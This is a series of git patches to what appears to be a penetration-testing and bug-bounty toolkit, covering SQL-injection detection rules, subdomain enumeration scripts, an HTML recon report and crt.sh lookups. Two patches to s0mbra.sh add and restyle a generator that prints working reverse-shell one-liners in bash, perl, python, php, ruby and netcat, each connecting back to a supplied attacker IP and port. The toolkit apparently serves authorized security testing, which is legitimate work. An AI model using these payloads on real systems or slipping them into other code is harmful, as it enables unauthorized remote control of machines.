"SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "INSERT.*INTO":[ + "INSERT.*INTO": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "UPDATE.*":[ + "UPDATE.*": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "DELETE.*FROM":[ + "DELETE.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", diff --git a/pef/pef.py b/pef/pef.py index 21c68fb..09a5dcd 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -302,6 +302,8 @@ def run(self): engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() + except IndexError as e: + print("IndexError in {}: {}".format(filename, e)) except UnicodeDecodeError as e: print("UnicodeDecodeError in {}: {}".format(filename, e)) except FileNotFoundError as e: From 4ef549866724d5bab324497df144f42bda74d9cd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Oct 2021 08:05:53 +0100 Subject: [PATCH 022/289] [enumeratescope] Fix for duplicated domains in final list --- enumeratescope.sh | 20 +++++++++++--------- s0mbra.sh | 2 +- 2 files changed, 12 insertions(+), 10 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 1b4134a..864cc66 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -16,13 +16,13 @@ create_domains_folder() { } -## perform sublist3r and amass enumeration on each domain passed as an argument +## perform sublist3r, subfinder and amass enumeration on each domain passed as an argument enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all @@ -32,16 +32,18 @@ enumerate_domain() { echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log } -## processing all outputed list of domains into one, removing dups -## and sorting +## creates list of uniqe, sorted domains obtained from subdomain enum tools: create_list_of_domains() { echo -e "$(date) create final list of domains found..." >> subdomain_enum.log # concatenate and sort all domains from the target - cat domains/*.* > domains/domains.all - sort -u -k 1 domains/domains.all > domains/__domains - # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/final - rm -f domains/domains.all + cat domains/*.* > domains/all + # remove
left from DNS records into unsorted list with dups: + sed 's/
/#/g' domains/all | tr '#' '\n' > domains/unsorted + # remove dups and create final list of domains: + sort -u -k 1 domains/unsorted > domains/final + # remove temporary files + rm -f domains/all domains/unsorted + # show how many uniq domains were found: echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 3e15efb..1906126 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -577,7 +577,7 @@ case "$cmd" in echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From 8cdf4361fc39ce386fc0e8ca5d04e36b10997f2e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 14 Oct 2021 16:25:50 +0100 Subject: [PATCH 023/289] [Denumerator] HTML Report output improvements - fold results by HTTP reponse code --- denumerator/denumerator.py | 144 ++++++++++++++++++++++++++++++++++--- 1 file changed, 133 insertions(+), 11 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 9e5278d..419636c 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -65,7 +65,8 @@ requests.packages.urllib3.disable_warnings() timeout = 2 -nmap = False +nmap = True +element_class_name_iterator = 1 def usage(): @@ -88,6 +89,27 @@ def create_output_header(html_output): font-size: 12px; } + BODY { + margin:0px; + } + + DIV#header { + position: fixed; + padding-left: 30px; + top: 0px; + height:70px; + width: 100%; + background-color:#09a; + border-bottom:2px solid #ccc; + } + + DIV#container { + margin-top:100px; + width: 100%; + padding:10px; + text-align:center; + } + H4 { font-size: 14px; color: #777; @@ -103,19 +125,100 @@ def create_output_header(html_output): vertical-align: top; text-align: left; padding: 10px; - border-top: 12px solid #6e6f6f; + } + + TD.boundary { + border-top: 5px solid #6e6f6f; + border-bottom: 2px solid #6e6f6f; + padding-left: 20px; + background-color: #fafff4; + } + + .fold { + display: none; + } + + .unfold { + display: block; + background-color: #f9f9db; + } + + A.toggle { + margin-left:30px; + font-size: 18px; + font-weight:bold; + cursor: pointer; + padding:5px 20px; + border:1px solid #dadede; + + border-radius: 10px; + } + + A.off { + background-color: #f1f1fa; + } + + A.on { + background-color: #c4f3c5; + } + + A.url { + font-weight: bold; + font-size:16px; + text-decoration:none; + margin-left: 120px; } - + + + + + +
+
""" html_output.write(html) return def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): + global element_class_name_iterator + screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="HackerOne" --disable-gpu --dns-prefetch-disable --log-level=0 --timeout=30000 --virtual-time-budget=999999 --run-all-compositor-stages-before-draw --screenshot={} '.format( @@ -162,17 +265,23 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ # HTTP response headers response_headers_html = "" for header in response_headers.keys(): - response_headers_html = response_headers_html + "

{} : {}

".format( + response_headers_html = response_headers_html + "

{} : {}

".format( header, response_headers[header] ) + element_class_name = 'result_{}'.format(element_class_name_iterator) + element_class_name_iterator += 1 html = """ - + + + @@ -189,7 +298,19 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ {} - """.format(http_status_code_color, http_status_code, url, url, screenshot_name, response_headers_html, ip_html, nmap_html) + """.format( + http_status_code_color, + element_class_name, + http_status_code, + url, + url, + (http_status_code//100), + element_class_name, + screenshot_name, + response_headers_html, + ip_html, + nmap_html + ) html_output.write(html) html_output.flush() return @@ -197,7 +318,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ def create_output_footer(html_output): html = """ -
-

HTTP Response Status: {}

-

- {} -

+ 		+

+ HTTP Response Status: {} + {} +

+
+ + """ From dce50979eefe7ce998139c154ecc19e541369a5e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 15 Oct 2021 22:01:37 +0100 Subject: [PATCH 024/289] [Denumerator] Updated TODO - remove implemented stuff --- denumerator/denumerator.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 419636c..45daf8b 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -3,10 +3,6 @@ """ @TODO - results summary -- disable/enable by HTTP Response Code (200/500/404/403/302) -- HTTP response headers - - """ From d8c42a7a1e7ccbe272078674cf83fa5e8047d286 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 16 Oct 2021 18:20:38 +0100 Subject: [PATCH 025/289] [dec0der] simple tool to echo decoded string in expected format (ASCII, Base64) --- dec0der.sh | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100755 dec0der.sh diff --git a/dec0der.sh b/dec0der.sh new file mode 100755 index 0000000..bd914db --- /dev/null +++ b/dec0der.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +# simple command line decoder/enmcoder +# by bl4de +# +# invoke: +# dec0der [FROM] [string] + +FROM=$1 +STRING=$2 + +if [[ $FROM == 'ascii' ]]; then + echo $STRING | xxd -r -p +fi + +if [[ $FROM == 'base64' ]]; then + echo $STRING | base64 -D +fi From b4c44f19bb7309a074fbe0ed6551ad36bd4db24f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 26 Oct 2021 12:52:29 +0100 Subject: [PATCH 026/289] [crater.sh] CRT.sh automation tool (in progress) --- crater.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100755 crater.py diff --git a/crater.py b/crater.py new file mode 100755 index 0000000..cbf2554 --- /dev/null +++ b/crater.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +import sys +import requests + + +domain = sys.argv[1] +base_url = "https://crt.sh/?q={}&output=json".format(domain) + +resp = requests.get(base_url) + +if resp.status_code == 200: + print(resp.content) + \ No newline at end of file From 41feb56b73dbef078f810c70dd865509709c66ab Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Oct 2021 13:58:37 +0100 Subject: [PATCH 027/289] [crater] parse crt.sh result set --- crater.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/crater.py b/crater.py index cbf2554..0930b67 100755 --- a/crater.py +++ b/crater.py @@ -1,13 +1,21 @@ #!/usr/bin/env python3 import sys import requests - +import json domain = sys.argv[1] base_url = "https://crt.sh/?q={}&output=json".format(domain) +data = {} +extracted_domains = [] resp = requests.get(base_url) if resp.status_code == 200: - print(resp.content) - \ No newline at end of file + data = json.loads(resp.content.decode('utf-8')) + for elem in data: + if elem['name_value'] not in extracted_domains: + extracted_domains.append(elem['name_value']) + + print(extracted_domains) +else: + print("[-] No data retrieved for domain {}".format(domain)) From 27d2cf7ebf85b1ee27b1935d12f0d73243feba23 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Oct 2021 11:30:29 +0100 Subject: [PATCH 028/289] [Denumerator] Add -t/--target to use subdomain enumeration with crt.sh instead of file with results from other tool(s) --- crater.py | 21 --------------------- denumerator/denumerator.py | 35 ++++++++++++++++++++++++++++++++--- 2 files changed, 32 insertions(+), 24 deletions(-) delete mode 100755 crater.py diff --git a/crater.py b/crater.py deleted file mode 100755 index 0930b67..0000000 --- a/crater.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -import sys -import requests -import json - -domain = sys.argv[1] -base_url = "https://crt.sh/?q={}&output=json".format(domain) -data = {} -extracted_domains = [] - -resp = requests.get(base_url) - -if resp.status_code == 200: - data = json.loads(resp.content.decode('utf-8')) - for elem in data: - if elem['name_value'] not in extracted_domains: - extracted_domains.append(elem['name_value']) - - print(extracted_domains) -else: - print("[-] No data retrieved for domain {}".format(domain)) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 45daf8b..3eb0fff 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -25,6 +25,8 @@ import subprocess import time import requests +import json + from datetime import datetime welcome = """ --- dENUMerator --- @@ -410,13 +412,37 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, pass +def enumerate_from_crt_sh(domain): + ''' + Perform subdomains enumeration using crt.sh service + ''' + base_url = "https://crt.sh/?q={}&output=json".format(domain) + data = {} + extracted_domains = [] + + resp = requests.get(base_url) + + if resp.status_code == 200: + data = json.loads(resp.content.decode('utf-8')) + for elem in data: + if elem['name_value'] not in extracted_domains: + extracted_domains.append(elem['name_value']) + + print(extracted_domains) + else: + print("[-] No data retrieved for domain {}".format(domain)) + + return [] + def main(): parser = argparse.ArgumentParser() allowed_http_responses = [] parser.add_argument( - "-f", "--file", help="File with list of hostnames") + "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored") + parser.add_argument( + "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( @@ -453,10 +479,13 @@ def main(): # set options show = True if args.success else False - if args.file is not None and os.path.isfile(args.file): + # use provided file with list of hostnames or perform subdomain enumeration with crt.sh: + if args.target is None and args.file is not None and os.path.isfile(args.file): domains = open(args.file, 'r').readlines() + elif args.target is not None and args.file is None: + domains = enumerate_from_crt_sh(args.target) else: - exit('[-] Can not open {} file with domains list :/'.format(args.file)) + exit('[-] No file with hostnames or domain to recon. Use either -f or -t option') # create dir for HTML report if os.path.isdir('reports') == False: From 9dd4948d34f43de93cdb0cd90ef8f8cc42570271 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Oct 2021 11:47:25 +0100 Subject: [PATCH 029/289] [Denumerator] bugfixes for crt.sh; output improvements --- denumerator/denumerator.py | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 3eb0fff..ff05484 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -20,13 +20,13 @@ $ ./denumerator.py [domain_list_file] """ + import argparse import os import subprocess import time import requests import json - from datetime import datetime welcome = """ --- dENUMerator --- @@ -57,8 +57,7 @@ "magenta": '\33[35m', "cyan": '\33[36m', "grey": '\33[90m', - "lightgrey": '\33[37m', - "lightblue": '\33[94' + "lightgrey": '\33[37m' } requests.packages.urllib3.disable_warnings() @@ -334,7 +333,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses 'https': 'https://' } - print('\t--> {}{}'.format(protocols.get(proto.lower()), domain)) + print('\t--> {}{}{}{}'.format(colors['magenta'], protocols.get(proto.lower()), domain, colors['white'])) resp = requests.get(protocols.get(proto.lower()) + domain, timeout=timeout, @@ -418,21 +417,23 @@ def enumerate_from_crt_sh(domain): ''' base_url = "https://crt.sh/?q={}&output=json".format(domain) data = {} - extracted_domains = [] + enumerated_subdomains = [] resp = requests.get(base_url) if resp.status_code == 200: data = json.loads(resp.content.decode('utf-8')) for elem in data: - if elem['name_value'] not in extracted_domains: - extracted_domains.append(elem['name_value']) + if elem['common_name'] not in enumerated_subdomains: + enumerated_subdomains.append(elem['common_name']) - print(extracted_domains) + if len(enumerated_subdomains) > 0: + print("{}[+] Done! Found {} subdomains, performing HTTP servers enumeration...{}".format( + colors['cyan'], len(enumerated_subdomains), colors['white'])) + return enumerated_subdomains else: - print("[-] No data retrieved for domain {}".format(domain)) + exit("[-] No data retrieved for domain {}".format(domain)) - return [] def main(): @@ -482,7 +483,7 @@ def main(): # use provided file with list of hostnames or perform subdomain enumeration with crt.sh: if args.target is None and args.file is not None and os.path.isfile(args.file): domains = open(args.file, 'r').readlines() - elif args.target is not None and args.file is None: + elif args.target is not None and args.file is None: domains = enumerate_from_crt_sh(args.target) else: exit('[-] No file with hostnames or domain to recon. Use either -f or -t option') From 3f21c85f434378dc7b50b133bdfdc7a817c88d30 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Oct 2021 17:30:31 +0100 Subject: [PATCH 030/289] [s0mbra] Updated reverse shells --- s0mbra.sh | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1906126..cba96a3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -74,7 +74,6 @@ full_nmap_scan() { echo -e "[+] Done!" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -146,7 +145,6 @@ npm_scan() { echo -e "\n\n[+]Done." } - # static code analysis of single JavaScript code javascript_sca() { echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" @@ -163,7 +161,6 @@ privesc_tools_linux() { http 9119 } - # exposes folder with Windows PrivEsc tools on localhost:9119 privesc_tools_windows() { cd "$HACKING_HOME"/tools/Windows || exit @@ -247,7 +244,6 @@ nfs_enum() { echo -e "\n[+] Done." } - # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: subdomenum() { @@ -256,7 +252,6 @@ subdomenum() { echo -e "\n[+] Done." } - # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -399,7 +394,8 @@ generate_shells() { echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[41m[bash]\033[0m exec 5<>/dev/tcp/$1/$port | cat <&5 | while read line; do $line 2>&5 >&5; done" + echo -e "\033[41m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[41m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" @@ -408,6 +404,9 @@ generate_shells() { echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" echo -e "$NEWLINE" echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "$NEWLINE" echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" @@ -419,7 +418,6 @@ generate_shells() { echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" echo -e "$NEWLINE" -} php7() { echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" From 397916b687c2fa732e5228993d0f32575b5e50ac Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Oct 2021 13:26:06 +0100 Subject: [PATCH 031/289] [s0mbra] syntax error fix; adjust colors for generated shells categories --- s0mbra.sh | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cba96a3..cca7850 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -392,32 +392,33 @@ generate_shells() { echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" - echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[41m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "\033[41m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" + echo -e "\033[1;31m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "\033[1;31m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "\033[1;31m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[1;31m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" - echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" - echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[42m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "$NEWLINE" - echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" + echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" echo -e "$NEWLINE" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "$NEWLINE" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" echo -e "$NEWLINE" - echo -e "\033[46m[netcat]\033[0m nc -e /bin/sh $1 $port" - echo -e "\033[46m[netcat]\033[0m nc -c /bin/sh $1 $port" - echo -e "\033[46m[netcat]\033[0m /bin/sh | nc $1 $port" - echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" - echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" + echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" + echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" + echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" echo -e "$NEWLINE" +} php7() { echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" From 3420e97da560eccb7c070ee44ac9d3f669ff6c81 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Oct 2021 21:56:52 +0000 Subject: [PATCH 032/289] [s0mbra] New menu colors --- s0mbra.sh | 59 +++++++++++++++++++++++++++++-------------------------- 1 file changed, 31 insertions(+), 28 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cca7850..85de86f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -11,12 +11,15 @@ HACKING_HOME="/Users/bl4de/hacking" -GREEN='\033[1;32m' GRAY='\033[1;30m' RED='\033[1;31m' +GREEN='\033[1;32m' +LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' +LIGHTBLUE='\033[34m' MAGENTA='\033[1;35m' +CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' @@ -545,41 +548,41 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tquick_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\tfull_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" - echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from 